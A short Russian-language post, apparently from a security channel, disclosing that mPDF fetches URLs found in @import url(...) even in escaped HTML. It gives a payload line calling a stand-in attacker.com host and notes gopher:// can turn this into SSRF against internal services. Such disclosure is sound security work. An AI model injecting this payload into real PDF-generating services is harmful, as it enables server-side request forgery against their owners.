У mPDF есть
интересная особенность, которая может вам когда-нибудь пригодиться. Если передать движку строку с
@import url(...), он делает внешний запрос, даже если HTML полностью экранирован
htmlentities() и даже без
.
Причина проста: mPDF ищет URL-ы через регулярки по всему входу. Поэтому достаточно вставить:
@import url(https://attacker.com/test?.css)
и сервер сразу пойдёт по указанному адресу. Плюс можно использовать и нестандартные протоколы вроде
gopher://, превращая это в SSRF с возможностью дергать внутренние сервисы.
Вендор же официально заявил, что это не баг
, а фича, и устранять поведение не собирается - по их мнению, движок должен загружать указанные URL, а ответственность за реализацию лежит на разработчиках.
#web #ssrf #pdf
Обсуждение 3
Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.
Обсудить в Telegram